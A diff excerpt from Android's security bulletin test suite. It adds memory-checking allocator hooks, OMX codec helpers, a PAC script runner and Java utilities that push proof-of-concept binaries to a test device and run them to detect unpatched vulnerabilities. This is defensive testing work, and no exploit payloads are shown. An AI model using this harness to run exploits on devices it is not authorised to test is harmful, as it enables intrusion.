+ if (s_memutils_initialized == 0) {
+ memutils_init();
+ }
+#ifdef ENABLE_SELECTIVE_OVERLOADING
+ if ((enable_selective_overload & ENABLE_FREE_CHECK) != ENABLE_FREE_CHECK) {
+ return real_free(ptr);
+ }
+#endif /* ENABLE_SELECTIVE_OVERLOADING */
+ if (ptr != NULL) {
+ int i = 0;
+ size_t page_size = getpagesize();
+ for (i = 0; i < s_mem_map_index; i++) {
+ if (ptr == s_mem_map[i].mem_ptr) {
+#ifdef CHECK_USE_AFTER_FREE_WITH_WINDOW_SIZE
+ s_free_list[s_free_write_index].start_ptr =
+ s_mem_map[i].start_ptr;
+ s_free_list[s_free_write_index].mem_ptr = s_mem_map[i].mem_ptr;
+ s_free_list[s_free_write_index].num_pages =
+ s_mem_map[i].num_pages;
+ s_free_list[s_free_write_index].mem_size = s_mem_map[i].mem_size;
+ s_free_write_index++;
+ s_free_list_size += s_mem_map[i].mem_size;
+ DISABLE_MEM_ACCESS(s_mem_map[i].start_ptr,
+ (s_mem_map[i].num_pages * page_size));
+ memset(&s_mem_map[i], 0, sizeof(map_struct_t));
+ while (s_free_list_size > CHECK_USE_AFTER_FREE_WITH_WINDOW_SIZE) {
+ ENABLE_MEM_ACCESS(
+ s_free_list[s_free_read_index].start_ptr,
+ (s_free_list[s_free_read_index].num_pages * page_size));
+ real_free(s_free_list[s_free_read_index].start_ptr);
+ s_free_list_size -= s_free_list[s_free_read_index].mem_size;
+ memset(&s_free_list[s_free_read_index], 0,
+ sizeof(map_struct_t));
+ s_free_read_index++;
+ if ((s_free_read_index == MAX_ENTRIES)
+ || (s_free_read_index >= s_free_write_index)) {
+ break;
+ }
+ }
+ return;
+#else
+ ENABLE_MEM_ACCESS(s_mem_map[i].start_ptr,
+ (s_mem_map[i].num_pages * page_size));
+ real_free(s_mem_map[i].start_ptr);
+ memset(&s_mem_map[i], 0, sizeof(map_struct_t));
+ return;
+#endif /* CHECK_USE_AFTER_FREE_WITH_WINDOW_SIZE */
+ }
+ }
+ }
+ real_free(ptr);
+ return;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/memutils.h b/hostsidetests/securitybulletin/securityPatch/includes/memutils.h
new file mode 100644
index 0000000..4d3791e
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/includes/memutils.h
@@ -0,0 +1,71 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifdef __cplusplus
+extern "C" {
+#endif /* __cplusplus */
+#define MAX_ENTRIES (1024 * 1024)
+#define INITIAL_VAL (0xBE)
+#define MINIMUM_ALIGNMENT (16)
+
+#define DISABLE_MEM_ACCESS(mem, size)\
+ mprotect((char *) mem, size, PROT_NONE);
+
+#define ENABLE_MEM_ACCESS(mem, size)\
+ mprotect((char *) mem, size, PROT_READ | PROT_WRITE);
+
+#define ENABLE_NONE 0x00
+#define ENABLE_MEMALIGN_CHECK 0x01
+#define ENABLE_MALLOC_CHECK 0x02
+#define ENABLE_CALLOC_CHECK 0x04
+#define ENABLE_REALLOC_CHECK 0x08
+#define ENABLE_FREE_CHECK 0x10
+#define ENABLE_ALL ENABLE_MEMALIGN_CHECK | ENABLE_MALLOC_CHECK |\
+ ENABLE_CALLOC_CHECK | ENABLE_REALLOC_CHECK | ENABLE_FREE_CHECK
+
+typedef struct _map_struct_t {
+ void *start_ptr;
+ void *mem_ptr;
+ int num_pages;
+ size_t mem_size;
+} map_struct_t;
+
+static void* (*real_memalign)(size_t, size_t) = NULL;
+#ifndef DISABLE_MALLOC_OVERLOADING
+static void* (*real_calloc)(size_t, size_t) = NULL;
+static void* (*real_malloc)(size_t) = NULL;
+static void* (*real_realloc)(void *ptr, size_t size) = NULL;
+#endif /* DISABLE_MALLOC_OVERLOADING */
+static void (*real_free)(void *) = NULL;
+static int s_memutils_initialized = 0;
+static int s_mem_map_index = 0;
+static struct sigaction new_sa, old_sa;
+#ifdef ENABLE_SELECTIVE_OVERLOADING
+extern char enable_selective_overload;
+#endif /* ENABLE_SELECTIVE_OVERLOADING */
+#ifdef CHECK_USE_AFTER_FREE_WITH_WINDOW_SIZE
+static int s_free_write_index = 0;
+static int s_free_read_index = 0;
+static int s_free_list_size = 0;
+map_struct_t s_free_list[MAX_ENTRIES];
+#endif /* CHECK_USE_AFTER_FREE_WITH_WINDOW_SIZE */
+map_struct_t s_mem_map[MAX_ENTRIES];
+#if (!(defined CHECK_OVERFLOW) && !(defined CHECK_UNDERFLOW))
+ #error "CHECK MACROS NOT DEFINED"
+#endif
+#ifdef __cplusplus
+}
+#endif /* __cplusplus */
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.c b/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.c
new file mode 100644
index 0000000..34df821
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.c
@@ -0,0 +1,205 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <sys/mman.h>
+#include <stdbool.h>
+#include <stdlib.h>
+#include <dlfcn.h>
+#include <string.h>
+#include <unistd.h>
+#include "common.h"
+#include "memutils_track.h"
+
+void memutils_init(void) {
+ real_memalign = dlsym(RTLD_NEXT, "memalign");
+ if (!real_memalign) {
+ return;
+ }
+ real_malloc = dlsym(RTLD_NEXT, "malloc");
+ if (!real_malloc) {
+ return;
+ }
+ real_free = dlsym(RTLD_NEXT, "free");
+ if (!real_free) {
+ return;
+ }
+
+#ifdef CHECK_MEMORY_LEAK
+ real_calloc = dlsym(RTLD_NEXT, "calloc");
+ if (!real_calloc) {
+ return;
+ }
+ atexit(exit_vulnerable_if_memory_leak_detected);
+#endif /* CHECK_MEMORY_LEAK */
+
+ s_memutils_initialized = true;
+}
+
+void *memalign(size_t alignment, size_t size) {
+ if (!s_memutils_initialized) {
+ memutils_init();
+ }
+ void* mem_ptr = real_memalign(alignment, size);
+
+#ifdef CHECK_UNINITIALIZED_MEMORY
+ if(mem_ptr) {
+ memset(mem_ptr, INITIAL_VAL, size);
+ }
+#endif /* CHECK_UNINITIALIZED_MEMORY */
+
+#ifdef ENABLE_SELECTIVE_OVERLOADING
+ if ((enable_selective_overload & ENABLE_MEMALIGN_CHECK) != ENABLE_MEMALIGN_CHECK) {
+ return mem_ptr;
+ }
+#endif /* ENABLE_SELECTIVE_OVERLOADING */
+
+ if (!is_tracking_required(size)) {
+ return mem_ptr;
+ }
+ if (s_allocation_index >= MAX_ENTRIES) {
+ return mem_ptr;
+ }
+ s_allocation_list[s_allocation_index].mem_ptr = mem_ptr;
+ s_allocation_list[s_allocation_index].mem_size = size;
+ ++s_allocation_index;
+ return mem_ptr;
+}
+
+void *malloc(size_t size) {
+ if (!s_memutils_initialized) {
+ memutils_init();
+ }
+ void* mem_ptr = real_malloc(size);
+
+#ifdef CHECK_UNINITIALIZED_MEMORY
+ if(mem_ptr) {
+ memset(mem_ptr, INITIAL_VAL, size);
+ }
+#endif /* CHECK_UNINITIALIZED_MEMORY */
+
+#ifdef ENABLE_SELECTIVE_OVERLOADING
+ if ((enable_selective_overload & ENABLE_MALLOC_CHECK) != ENABLE_MALLOC_CHECK) {
+ return mem_ptr;
+ }
+#endif /* ENABLE_SELECTIVE_OVERLOADING */
+
+ if (!is_tracking_required(size)) {
+ return mem_ptr;
+ }
+ if (s_allocation_index >= MAX_ENTRIES) {
+ return mem_ptr;
+ }
+ s_allocation_list[s_allocation_index].mem_ptr = mem_ptr;
+ s_allocation_list[s_allocation_index].mem_size = size;
+ ++s_allocation_index;
+ return mem_ptr;
+}
+
+void free(void *ptr) {
+ if (!s_memutils_initialized) {
+ memutils_init();
+ }
+ if (ptr) {
+ for (int i = 0; i < s_allocation_index; ++i) {
+ if (ptr == s_allocation_list[i].mem_ptr) {
+ real_free(ptr);
+ memset(&s_allocation_list[i], 0,
+ sizeof(allocated_memory_struct));
+ return;
+ }
+ }
+ }
+ return real_free(ptr);
+}
+
+#ifdef CHECK_MEMORY_LEAK
+void *calloc(size_t nitems, size_t size) {
+ if (!s_memutils_initialized) {
+ memutils_init();
+ }
+ void* mem_ptr = real_calloc(nitems, size);
+
+#ifdef ENABLE_SELECTIVE_OVERLOADING
+ if ((enable_selective_overload & ENABLE_CALLOC_CHECK) != ENABLE_CALLOC_CHECK) {
+ return mem_ptr;
+ }
+#endif /* ENABLE_SELECTIVE_OVERLOADING */
+
+ if (!is_tracking_required((nitems *size))) {
+ return mem_ptr;
+ }
+ if (s_allocation_index >= MAX_ENTRIES) {
+ return mem_ptr;
+ }
+ s_allocation_list[s_allocation_index].mem_ptr = mem_ptr;
+ s_allocation_list[s_allocation_index].mem_size = nitems * size;
+ ++s_allocation_index;
+ return mem_ptr;
+}
+
+void exit_vulnerable_if_memory_leak_detected(void) {
+ bool memory_leak_detected = false;
+ for (int i = 0; i < s_allocation_index; ++i) {
+ if (s_allocation_list[i].mem_ptr) {
+ real_free(s_allocation_list[i].mem_ptr);
+ memset(&s_allocation_list[i], 0,
+ sizeof(allocated_memory_struct));
+ memory_leak_detected = true;
+ }
+ }
+ if(memory_leak_detected) {
+ exit(EXIT_VULNERABLE);
+ }
+ return;
+}
+#endif /* CHECK_MEMORY_LEAK */
+
+#ifdef CHECK_UNINITIALIZED_MEMORY
+bool is_memory_uninitialized() {
+ for (int i = 0; i < s_allocation_index; ++i) {
+ uint8_t *mem_ptr = s_allocation_list[i].mem_ptr;
+ size_t mem_size = s_allocation_list[i].mem_size;
+ if (mem_ptr) {
+
+#ifdef CHECK_FOUR_BYTES
+ if(mem_size > (2 * sizeof(uint32_t))) {
+ uint8_t *mem_ptr_start = (uint8_t *) s_allocation_list[i].mem_ptr;
+ uint8_t *mem_ptr_end = (uint8_t *) s_allocation_list[i].mem_ptr + mem_size - 1;
+ for (size_t j = 0; j < sizeof(uint32_t); ++j) {
+ if (*mem_ptr_start++ == INITIAL_VAL) {
+ return true;
+ }
+ if (*mem_ptr_end-- == INITIAL_VAL) {
+ return true;
+ }
+ }
+ continue;
+ }
+#endif /* CHECK_FOUR_BYTES */
+
+ for (size_t j = 0; j < mem_size; ++j) {
+ if (*mem_ptr++ == INITIAL_VAL) {
+ return true;
+ }
+ }
+ }
+ }
+ return false;
+}
+
+#endif /* CHECK_UNINITIALIZED_MEMORY */
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.h b/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.h
new file mode 100644
index 0000000..dff76e2
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.h
@@ -0,0 +1,59 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifdef __cplusplus
+extern "C" {
+#endif /* __cplusplus */
+#define MAX_ENTRIES (32 * 1024)
+#define INITIAL_VAL 0xBE
+
+#define ENABLE_NONE 0x00
+#define ENABLE_MEMALIGN_CHECK 0x01
+#define ENABLE_MALLOC_CHECK 0x02
+#define ENABLE_CALLOC_CHECK 0x04
+#define ENABLE_ALL ENABLE_MEMALIGN_CHECK | ENABLE_MALLOC_CHECK |\
+ ENABLE_CALLOC_CHECK
+
+typedef struct {
+ void *mem_ptr;
+ size_t mem_size;
+} allocated_memory_struct;
+
+static bool s_memutils_initialized = false;
+static int s_allocation_index = 0;
+static allocated_memory_struct s_allocation_list[MAX_ENTRIES] = { { 0, 0 } };
+
+extern bool is_tracking_required(size_t size);
+static void* (*real_memalign)(size_t, size_t) = NULL;
+static void* (*real_malloc)(size_t) = NULL;
+static void (*real_free)(void *) = NULL;
+
+#ifdef ENABLE_SELECTIVE_OVERLOADING
+extern char enable_selective_overload;
+#endif /* ENABLE_SELECTIVE_OVERLOADING */
+
+#ifdef CHECK_MEMORY_LEAK
+static void* (*real_calloc)(size_t, size_t) = NULL;
+void exit_vulnerable_if_memory_leak_detected(void);
+#endif
+
+#ifdef CHECK_UNINITIALIZED_MEMORY
+extern bool is_memory_uninitialized();
+#endif
+
+#ifdef __cplusplus
+}
+#endif /* __cplusplus */
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/omxUtils.cpp b/hostsidetests/securitybulletin/securityPatch/includes/omxUtils.cpp
new file mode 100644
index 0000000..ac28dba
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/includes/omxUtils.cpp
@@ -0,0 +1,177 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "omxUtils.h"
+
+sp<IMediaPlayerService> mediaPlayerService = NULL;
+sp<IOMXNode> mOMXNode = 0;
+sp<IOMX> mOMX;
+omx_message msg;
+Mutex mLock;
+Condition mMessageAddedCondition;
+int32_t mLastMsgGeneration;
+int32_t mCurGeneration;
+List<omx_message> mMessageQueue;
+int numCallbackEmptyBufferDone;
+
+struct CodecObserver : public BnOMXObserver {
+ public:
+ CodecObserver(int32_t gen)
+ : mGeneration(gen) {
+ }
+
+ void onMessages(const std::list<omx_message> &messages) override;
+ int32_t mGeneration;
+
+ protected:
+ virtual ~CodecObserver() {
+ }
+};
+void handleMessages(int32_t gen, const std::list<omx_message> &messages) {
+ Mutex::Autolock autoLock(mLock);
+ for (std::list<omx_message>::const_iterator it = messages.cbegin();
+ it != messages.cend();) {
+ mMessageQueue.push_back(*it);
+ const omx_message &msg = *it++;
+ if (msg.type == omx_message::EMPTY_BUFFER_DONE) {
+ numCallbackEmptyBufferDone++;
+ }
+ mLastMsgGeneration = gen;
+ }
+ mMessageAddedCondition.signal();
+}
+void CodecObserver::onMessages(const std::list<omx_message> &messages) {
+ handleMessages(mGeneration, messages);
+}
+
+struct DeathNotifier : public IBinder::DeathRecipient,
+ public ::android::hardware::hidl_death_recipient {
+ explicit DeathNotifier() {
+ }
+ virtual void binderDied(const wp<IBinder> &) {
+ ALOGE("Binder Died");
+ exit (EXIT_FAILURE);
+ }
+ virtual void serviceDied(
+ uint64_t /* cookie */,
+ const wp<::android::hidl::base::V1_0::IBase>& /* who */) {
+ ALOGE("Service Died");
+ exit (EXIT_FAILURE);
+ }
+};
+sp<DeathNotifier> mDeathNotifier;
+status_t dequeueMessageForNode(omx_message *msg, int64_t timeoutUs) {
+ int64_t finishBy = ALooper::GetNowUs() + timeoutUs;
+ status_t err = OK;
+
+ while (err != TIMED_OUT) {
+ Mutex::Autolock autoLock(mLock);
+ if (mLastMsgGeneration < mCurGeneration) {
+ mMessageQueue.clear();
+ }
+ // Messages are queued in batches, if the last batch queued is
+ // from a node that already expired, discard those messages.
+ List<omx_message>::iterator it = mMessageQueue.begin();
+ while (it != mMessageQueue.end()) {
+ *msg = *it;
+ mMessageQueue.erase(it);
+ return OK;
+ }
+ if (timeoutUs < 0) {
+ err = mMessageAddedCondition.wait(mLock);
+ } else {
+ err = mMessageAddedCondition.waitRelative(
+ mLock, (finishBy - ALooper::GetNowUs()) * 1000);
+ }
+ }
+ return err;
+}
+void omxUtilsCheckCmdExecution(char *name) {
+ status_t err = dequeueMessageForNode(&msg, DEFAULT_TIMEOUT);
+ if (err == TIMED_OUT) {
+ ALOGE("[omxUtils] OMX command timed out for %s, exiting the app", name);
+ exit (EXIT_FAILURE);
+ }
+}
+void omxExitOnError(status_t ret) {
+ if (ret != OK) {
+ exit (EXIT_FAILURE);
+ }
+}
+status_t omxUtilsInit(char *codecName) {
+ android::ProcessState::self()->startThreadPool();
+ using namespace ::android::hardware::media::omx::V1_0;
+ sp<IOmx> tOmx = IOmx::getService();
+ if (tOmx == nullptr) {
+ return NO_INIT;
+ }
+ mOMX = new utils::LWOmx(tOmx);
+ sp<CodecObserver> observer = new CodecObserver(++mCurGeneration);
+ status_t ret = mOMX->allocateNode(codecName, observer, &mOMXNode);
+ if (ret == OK) {
+ mDeathNotifier = new DeathNotifier();
+ auto tOmxNode = mOMXNode->getHalInterface();
+ if (tOmxNode != NULL) {
+ tOmxNode->linkToDeath(mDeathNotifier, 0);
+ } else {
+ ALOGE("No HAL Interface");
+ exit (EXIT_FAILURE);
+ }
+ }
+ numCallbackEmptyBufferDone = 0;
+ return ret;
+}
+status_t omxUtilsGetParameter(int portIndex,
+ OMX_PARAM_PORTDEFINITIONTYPE *params) {
+ InitOMXParams(params);
+ params->nPortIndex = portIndex;
+ return mOMXNode->getParameter(OMX_IndexParamPortDefinition, params,
+ sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+}
+status_t omxUtilsSetParameter(int portIndex,
+ OMX_PARAM_PORTDEFINITIONTYPE *params) {
+ InitOMXParams(params);
+ params->nPortIndex = portIndex;
+ return mOMXNode->setParameter(OMX_IndexParamPortDefinition, params,
+ sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+}
+status_t omxUtilsSetPortMode(OMX_U32 portIndex, IOMX::PortMode mode) {
+ return mOMXNode->setPortMode(portIndex, mode);
+}
+status_t omxUtilsUseBuffer(OMX_U32 portIndex, const OMXBuffer &omxBuf,
+ android::BnOMX::buffer_id *buffer) {
+ return mOMXNode->useBuffer(portIndex, omxBuf, buffer);
+}
+status_t omxUtilsSendCommand(OMX_COMMANDTYPE cmd, OMX_S32 param) {
+ int ret = mOMXNode->sendCommand(cmd, param);
+ omxUtilsCheckCmdExecution((char *) __FUNCTION__);
+ return ret;
+}
+status_t omxUtilsEmptyBuffer(android::BnOMX::buffer_id buffer,
+ const OMXBuffer &omxBuf, OMX_U32 flags,
+ OMX_TICKS timestamp, int fenceFd) {
+ return mOMXNode->emptyBuffer(buffer, omxBuf, flags, timestamp, fenceFd);
+}
+status_t omxUtilsFillBuffer(android::BnOMX::buffer_id buffer,
+ const OMXBuffer &omxBuf, int fenceFd) {
+ return mOMXNode->fillBuffer(buffer, omxBuf, fenceFd);
+}
+status_t omxUtilsFreeBuffer(OMX_U32 portIndex,
+ android::BnOMX::buffer_id buffer) {
+ return mOMXNode->freeBuffer(portIndex, buffer);
+}
+status_t omxUtilsFreeNode() {
+ return mOMXNode->freeNode();
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/omxUtils.h b/hostsidetests/securitybulletin/securityPatch/includes/omxUtils.h
new file mode 100644
index 0000000..16d7978
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/includes/omxUtils.h
@@ -0,0 +1,87 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <jni.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <binder/IServiceManager.h>
+#include <media/IMediaPlayerService.h>
+#include <media/IOMX.h>
+#include <media/OMXBuffer.h>
+#include <ui/GraphicBuffer.h>
+#include <android/hardware/media/omx/1.0/IOmx.h>
+#include <android/hardware/media/omx/1.0/IOmxNode.h>
+#include <android/hardware/media/omx/1.0/IOmxObserver.h>
+#include <android/hardware/media/omx/1.0/types.h>
+#include <android/hidl/allocator/1.0/IAllocator.h>
+#include <android/hidl/memory/1.0/IMapper.h>
+#include <android/hidl/memory/1.0/IMemory.h>
+#include <android/IGraphicBufferSource.h>
+#include <android/IOMXBufferSource.h>
+#include <media/omx/1.0/WOmx.h>
+#include <binder/MemoryDealer.h>
+#include "HardwareAPI.h"
+#include "OMX_Component.h"
+#include <binder/ProcessState.h>
+#include <media/stagefright/foundation/ALooper.h>
+#include <utils/List.h>
+#include <utils/Vector.h>
+#include <utils/threads.h>
+#include <inttypes.h>
+#include <utils/Log.h>
+
+#define DEFAULT_TIMEOUT 5000000
+#define OMX_UTILS_IP_PORT 0
+#define OMX_UTILS_OP_PORT 1
+
+using namespace android;
+typedef hidl::allocator::V1_0::IAllocator IAllocator;
+
+template<class T>
+static void InitOMXParams(T *params) {
+ params->nSize = sizeof(T);
+ params->nVersion.s.nVersionMajor = 1;
+ params->nVersion.s.nVersionMinor = 0;
+ params->nVersion.s.nRevision = 0;
+ params->nVersion.s.nStep = 0;
+}
+struct Buffer {
+ IOMX::buffer_id mID;
+ sp<IMemory> mMemory;
+ hidl_memory mHidlMemory;
+ uint32_t mFlags;
+};
+
+status_t omxUtilsInit(char *codecName);
+status_t omxUtilsGetParameter(int portIndex,
+ OMX_PARAM_PORTDEFINITIONTYPE *params);
+status_t omxUtilsSetParameter(int portIndex,
+ OMX_PARAM_PORTDEFINITIONTYPE *params);
+status_t omxUtilsSetPortMode(OMX_U32 port_index, IOMX::PortMode mode);
+status_t omxUtilsUseBuffer(OMX_U32 portIndex, const OMXBuffer &omxBuf,
+ android::BnOMX::buffer_id *buffer);
+status_t omxUtilsSendCommand(OMX_COMMANDTYPE cmd, OMX_S32 param);
+status_t omxUtilsEmptyBuffer(android::BnOMX::buffer_id buffer,
+ const OMXBuffer &omxBuf, OMX_U32 flags,
+ OMX_TICKS timestamp, int fenceFd);
+status_t omxUtilsFillBuffer(android::BnOMX::buffer_id buffer,
+ const OMXBuffer &omxBuf, int fenceFd);
+status_t omxUtilsFreeBuffer(OMX_U32 portIndex,
+ android::BnOMX::buffer_id buffer);
+status_t omxUtilsFreeNode();
+status_t dequeueMessageForNode(omx_message *msg, int64_t timeoutUs);
+void omxExitOnError(status_t ret);
diff --git a/hostsidetests/securitybulletin/securityPatch/pac/Android.mk b/hostsidetests/securitybulletin/securityPatch/pac/Android.mk
new file mode 100644
index 0000000..d5571be
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/pac/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := pacrunner
+LOCAL_SRC_FILES := pac.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES:= \
+ $(TOP)/external/chromium-libpac/src \
+
+LOCAL_SHARED_LIBRARIES := \
+ libpac \
+ libutils \
+
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
+
diff --git a/hostsidetests/securitybulletin/securityPatch/pac/pac.cpp b/hostsidetests/securitybulletin/securityPatch/pac/pac.cpp
new file mode 100644
index 0000000..85aaaf1
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/pac/pac.cpp
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <proxy_resolver_js_bindings.h>
+#include <proxy_resolver_v8.h>
+#include <sys/types.h>
+#include <utils/String16.h>
+#include <utils/String8.h>
+
+#include <fstream>
+#include <iostream>
+
+android::String16 url("");
+android::String16 host("");
+
+class MyErrorListener : public net::ProxyErrorListener {
+ public:
+ virtual void AlertMessage(android::String16 alert) {
+ std::cout << "alert: " << android::String8(alert).string() << std::endl;
+ }
+
+ virtual void ErrorMessage(android::String16 error) {
+ std::cout << "error: " << android::String8(error).string() << std::endl;
+ }
+};
+
+int main(int argc, char *argv[]) {
+ if (argc != 2) {
+ std::cout << "incorrect number of arguments" << std::endl;
+ std::cout << "usage: ./pacrunner mypac.pac" << std::endl;
+ return EXIT_FAILURE;
+ }
+ net::ProxyResolverJSBindings *bindings =
+ net::ProxyResolverJSBindings::CreateDefault();
+ MyErrorListener errorListener;
+ net::ProxyResolverV8 resolver(bindings, &errorListener);
+ android::String16 results;
+
+ std::ifstream t;
+ t.open(argv[1]);
+ if (t.rdstate() != std::ifstream::goodbit) {
+ std::cout << "error opening file" << std::endl;
+ return EXIT_FAILURE;
+ }
+
+ t.seekg(0, std::ios::end);
+ size_t size = t.tellg();
+ // allocate an extra byte for the null terminator
+ char* raw = (char*)calloc(size + 1, sizeof(char));
+ t.seekg(0);
+ t.read(raw, size);
+ android::String16 script(raw);
+
+ resolver.SetPacScript(script);
+ resolver.GetProxyForURL(url, host, &results);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
index 5ac0f87..4afc4c7 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
@@ -16,26 +16,62 @@
package android.security.cts;
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.MetricsReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+import com.android.ddmlib.IShellOutputReceiver;
import com.android.ddmlib.NullOutputReceiver;
-import com.android.tradefed.device.CollectingOutputReceiver;
+import com.android.ddmlib.CollectingOutputReceiver;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.device.NativeDevice;
import com.android.tradefed.log.LogUtil.CLog;
-import android.platform.test.annotations.RootPermissionTest;
-
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileOutputStream;
-import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
-import java.util.Scanner;
+import java.util.concurrent.TimeoutException;
+import java.util.List;
+import java.util.regex.Pattern;
import java.util.concurrent.TimeUnit;
+import java.util.Scanner;
+import java.util.Arrays;
+import java.util.ArrayList;
+import java.util.concurrent.Callable;
+import java.util.Collections;
+
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+
+import java.util.regex.Pattern;
+import java.lang.Thread;
+import static org.junit.Assert.*;
+import junit.framework.Assert;
public class AdbUtils {
+ final static String TMP_PATH = "/data/local/tmp/";
+ final static int TIMEOUT_SEC = 9 * 60;
+ final static String RESOURCE_ROOT = "/";
+
+ public static class pocConfig {
+ String binaryName;
+ String arguments;
+ String inputFilesDestination;
+ ITestDevice device;
+ CrashUtils.Config config;
+ List<String> inputFiles = Collections.emptyList();
+
+ pocConfig(String binaryName, ITestDevice device) {
+ this.binaryName = binaryName;
+ this.device = device;
+ }
+ }
+
/** Runs a commandline on the specified device
*
* @param command the command to be ran
@@ -49,44 +85,132 @@
/**
* Pushes and runs a binary to the selected device
*
- * @param pathToPoc a string path to poc from the /res folder
+ * @param pocName name of the poc binary
* @param device device to be ran on
* @return the console output from the binary
*/
public static String runPoc(String pocName, ITestDevice device) throws Exception {
- device.executeShellCommand("chmod +x /data/local/tmp/" + pocName);
- return device.executeShellCommand("/data/local/tmp/" + pocName);
+ return runPoc(pocName, device, SecurityTestCase.TIMEOUT_NONDETERMINISTIC);
}
/**
* Pushes and runs a binary to the selected device
*
- * @param pocName a string path to poc from the /res folder
+ * @param pocName name of the poc binary
* @param device device to be ran on
